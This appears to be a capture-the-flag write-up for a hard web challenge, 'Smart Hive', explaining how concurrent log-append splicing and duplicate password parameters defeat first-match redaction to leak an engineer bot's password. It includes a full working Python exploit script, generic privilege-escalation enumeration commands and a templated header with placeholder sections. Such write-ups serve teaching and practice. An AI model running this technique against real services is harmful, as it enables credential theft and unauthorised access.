← Back to Writeups
HTBN/AWeb

Умный улей

XESXOR8/23/20268 min read
#web#htb#n/a

Умный улей

Platform: Avitoctf | Category: Web | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-07-23 | Status: Solved Techniques: concurrent_log_write_splicing, duplicate_parameter_injection, regex_redaction_bypass, bot_credential_theft

Summary

Task: A Spring Boot hive panel exposes masked request logs and an engineer maintenance bot to a low-privilege operator. Solution: Splice concurrent append writes, bypass first-only redaction, steal the bot credential, and open the gate.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: avitoctf | ID: 20260723_avitoctf_umnyi_ulei
  • Tags: race_condition, java, credential_leak, log_injection, parameter_pollution, spring_boot
  • Indicators: Files.writeString with APPEND outside the compaction lock, replaceFirst masks only one password parameter, 32 MiB audit-log compaction threshold, low-privilege action schedules engineer bot logins
  • Source: 20260723_avitoctf_umnyi_ulei.md

Foothold

Vulnerability / Misconfiguration

  1. Concurrent_log_write_splicing
  2. Duplicate_parameter_injection
  3. Regex_redaction_bypass
  4. Bot_credential_theft
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • concurrent_log_write_splicing
  • duplicate_parameter_injection
  • regex_redaction_bypass
  • bot_credential_theft
  • Tags: race_condition, java, credential_leak, log_injection, parameter_pollution, spring_boot

Original Writeup

<details><summary>Click to expand original content</summary>

Smart Hive — avitoctf

Description

A smart beehive has cameras, sensors, and camera-controlled landing gates. Low-privileged bee credentials are provided, but this account cannot control the gate. Source code is supplied.

The goal is to open the engineer-only landing gate. The first challenge endpoint is only a CAPTCHA-protected instance launcher; after completing it, the organizer provides a temporary -srv- service origin. The exploit targets that launched Java service, not the launcher.

Analysis

Authorization and session model

DatabaseSeeder.java:33-36 gives the low user only AUDIO_OPERATOR, while DatabaseSeeder.java:46-58 makes landing-gate writable only by ENGINEER and hive-speakers writable by both roles. DeviceRegistry.ensureWritable() performs the real role check at lines 269-273, so there is no direct authorization bypass.

This is not JWT or session forgery either. SessionService.java:32-45 creates a random 32-byte token with SecureRandom, stores its username server-side in a ConcurrentHashMap, and sends only the opaque ID to the client. The intended escalation is therefore credential theft: obtain the real BeeEng password and authenticate normally.

Making the maintenance bot disclose a login

An audio operator can disable the speakers. In DeviceController.java:50-57, every successful disable operation calls MaintenanceBot.restoreSpeakers(). The bot schedules a restoration job and then submits this form to the loopback /login endpoint (MaintenanceBot.java:47-76):

username=BeeEng&password=<ENGINEER_PASSWORD>&remember=true&client=maintenance-console

RequestLoggingFilter.java:30-35 logs each request before controller dispatch. Its canonicalQuery() method at lines 52-71 obtains the complete parameter map, sorts parameter names, preserves every value of a repeated parameter, URL-encodes the values, and joins them with &. Thus the bot's request produces a recognizable segment in the audit log:

password=<ENGINEER_PASSWORD>&remember=true&username=BeeEng

Any authenticated account can read or clear the debug log (LogController.java:22-32), so the low account can observe the result.

Concurrent append splicing

The vulnerable primitive is in DebugAuditLog.append() (DebugAuditLog.java:59-68):

String line = timestamp + " " + service + " " + normalized + "\n";
compactIfNeeded();
Files.writeString(path, line, StandardCharsets.UTF_8,
        StandardOpenOption.CREATE, StandardOpenOption.APPEND);

The compaction check uses compactionLock, but the actual append does not. APPEND protects each underlying file write's position; it does not guarantee that one multi-megabyte Java call becomes one indivisible kernel write. A roughly 31 MB log entry is emitted through multiple underlying writes. A short bot-login append can therefore land between chunks of the attacker's still-open logical entry, putting attacker parameters and a complete bot login on the same physical line.

The reader then applies this regex once per physical line (DebugAuditLog.java:103-105):

SENSITIVE_QUERY_PARAM.matcher(line).replaceFirst("$1********")

Only the first password= occurrence is masked. If the mixed line begins with an attacker-controlled password parameter and contains the bot login later, the first attacker value is replaced while the later engineer password remains visible.

This is concurrent file-append splicing combined with first-match redaction. It is not HTTP request smuggling: all requests are ordinary, independent HTTP requests, and no frontend/backend framing disagreement is involved. It is not SQL injection either: no query syntax is modified; the database-backed role check remains intact.

Why duplicate parameters and payload size matter

The payload contains 31 repeated password parameters, each with 999,900 bytes. This has two purposes:

  1. RequestLoggingFilter preserves duplicate values, so canonicalization creates one very large audit entry containing many literal &password= markers. This guarantees that a spliced bot login can occur after an earlier maskable password occurrence.
  2. The resulting entry is large enough for Files.writeString() to require many underlying writes, substantially widening the race window.

The payload must remain below the configured 32 MiB log compaction threshold. docker-compose.yml:12 sets HIVE_LOG_MAX_BYTES to 33554432; crossing it may invoke compactToTail() and replace the file while the race is in progress. Approximately 31 MB is large enough to fragment the append while leaving room for request metadata and concurrent bot lines.

The client streams all but the final request byte and holds that byte. This allows the server to receive almost the entire body while preventing form parsing and audit logging from starting too early. After the body is preloaded, the solver schedules a burst of 75 speaker restorations, polls until three bot-login lines are visible, and releases the last byte to align the large append with the continuing bot burst.

Solution

  1. Log in with the supplied low-privilege account.
  2. Clear the debug log before each timing attempt.
  3. Preload a 31-value, approximately 31 MB form body to an arbitrary route, withholding its final byte.
  4. Submit 75 authenticated requests that disable hive-speakers; each schedules an engineer bot login.
  5. Once three bot login lines appear, release the held byte so the large canonicalized request begins appending during the remaining bot requests.
  6. Read the masked log and extract a non-masked value immediately before remember=true&username=BeeEng.
  7. Log in normally as BeeEng with the recovered password.
  8. POST /api/devices/landing-gate/open; DeviceController.java:71-75 calls DeviceRegistry.openLandingGate(), whose response includes serviceToken at DeviceRegistry.java:81-91.

The initial calibration used 50 bot logins and released after one observed line; it missed during ten attempts. This did not disprove the vulnerability and was not a separate attack family—it only showed that the overlap window was too narrow. Increasing the burst to 75 and releasing after three observed lines succeeded on attempt 6.

Reproducible solver

#!/usr/bin/env python3
import re
import os
import threading
import time
from concurrent.futures import ThreadPoolExecutor

import requests

BASE = os.environ["BASE"].rstrip("/")
LOW_USER = "bee4"
LOW_PASSWORD = "MusicIsLife123"


def preload(body, ready, release):
    class HeldBody:
        def __len__(self):
            return len(body)

        def __iter__(self):
            end = len(body) - 1
            for offset in range(0, end, 65536):
                yield body[offset:min(offset + 65536, end)]
            ready.set()
            if not release.wait(120):
                raise TimeoutError("request-tail release timed out")
            yield body[-1:]

    return requests.post(
        BASE + "/not-found",
        data=HeldBody(),
        headers={
            "Content-Type": "application/x-www-form-urlencoded",
            "Content-Length": str(len(body)),
        },
        timeout=240,
    )


def trigger(cookie):
    for retry in range(6):
        response = requests.post(
            BASE + "/api/devices/hive-speakers/power?enabled=false",
            cookies=cookie,
            timeout=30,
        )
        if response.status_code != 429:
            return response.status_code == 200
        time.sleep(0.25 * (retry + 1))
    return False


def main():
    low = requests.Session()
    response = low.post(
        BASE + "/login",
        data={"username": LOW_USER, "password": LOW_PASSWORD},
        timeout=20,
    )
    response.raise_for_status()

    value = "A" * 999_900
    body = "&".join("password=" + value for _ in range(31)).encode()
    leaked = None

    for attempt in range(1, 11):
        low.post(BASE + "/debug/logs/clear", timeout=30).raise_for_status()
        ready = threading.Event()
        release = threading.Event()

        with ThreadPoolExecutor(max_workers=2) as pool:
            upload = pool.submit(preload, body, ready, release)
            if not ready.wait(180):
                raise RuntimeError("large body did not preload")

            burst = pool.submit(
                lambda: sum(trigger(low.cookies.get_dict()) for _ in range(75))
            )
            deadline = time.monotonic() + 45
            while time.monotonic() < deadline:
                logs = low.get(BASE + "/debug/logs?lines=1000", timeout=30).text
                seen = len(re.findall(
                    r"password=[^&\s]+&remember=true&username=BeeEng", logs
                ))
                if seen >= 3:
                    break
                time.sleep(0.05)

            release.set()
            upload_status = upload.result().status_code
            accepted = burst.result()

        time.sleep(0.75)
        logs = low.get(BASE + "/debug/logs?lines=1000", timeout=180).text
        candidates = re.findall(
            r"password=([^&\s]+)&remember=true&username=BeeEng", logs
        )
        leaked = next((value for value in candidates if value != "********"), None)
        print(
            f"attempt={attempt} upload={upload_status} "
            f"triggers={accepted}/75 leak={bool(leaked)}"
        )
        if leaked:
            break

    if not leaked:
        raise RuntimeError("credential splice missed; rerun")

    engineer = requests.Session()
    engineer.post(
        BASE + "/login",
        data={"username": "BeeEng", "password": leaked},
        timeout=20,
    ).raise_for_status()
    result = engineer.post(BASE + "/api/devices/landing-gate/open", timeout=20)
    result.raise_for_status()
    print(result.json())


if __name__ == "__main__":
    main()

Evidence

The successful run recorded the following sanitized output in exploit-output-release3.txt:

attempt 6: body preloaded; scheduling bot
attempt 6: observed 3 bot lines; releasing request tail
attempt 6: status=500, triggers=75/75, bot lines=71, leak=True
BeeEng password: <ENGINEER_PASSWORD_REDACTED>
landing-gate response: serviceToken=avito{REDACTED}

The large request returning HTTP 500 is harmless: the request logging filter has already parsed and appended its parameters before the nonexistent route fails. The decisive evidence is the unmasked engineer credential, successful engineer login, and successful gate response.

Source References

  • smarthive/src/main/java/ru/avito/iot/hivehub/web/DeviceController.java
  • smarthive/src/main/java/ru/avito/iot/hivehub/service/MaintenanceBot.java
  • smarthive/src/main/java/ru/avito/iot/hivehub/web/RequestLoggingFilter.java
  • smarthive/src/main/java/ru/avito/iot/hivehub/service/DebugAuditLog.java
  • smarthive/src/main/java/ru/avito/iot/hivehub/service/SessionService.java
  • smarthive/src/main/java/ru/avito/iot/hivehub/service/DeviceRegistry.java
  • smarthive/src/main/java/ru/avito/iot/hivehub/bootstrap/DatabaseSeeder.java
  • smarthive/docker-compose.yml
  • exploit.py
  • exploit-output-release3.txt
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR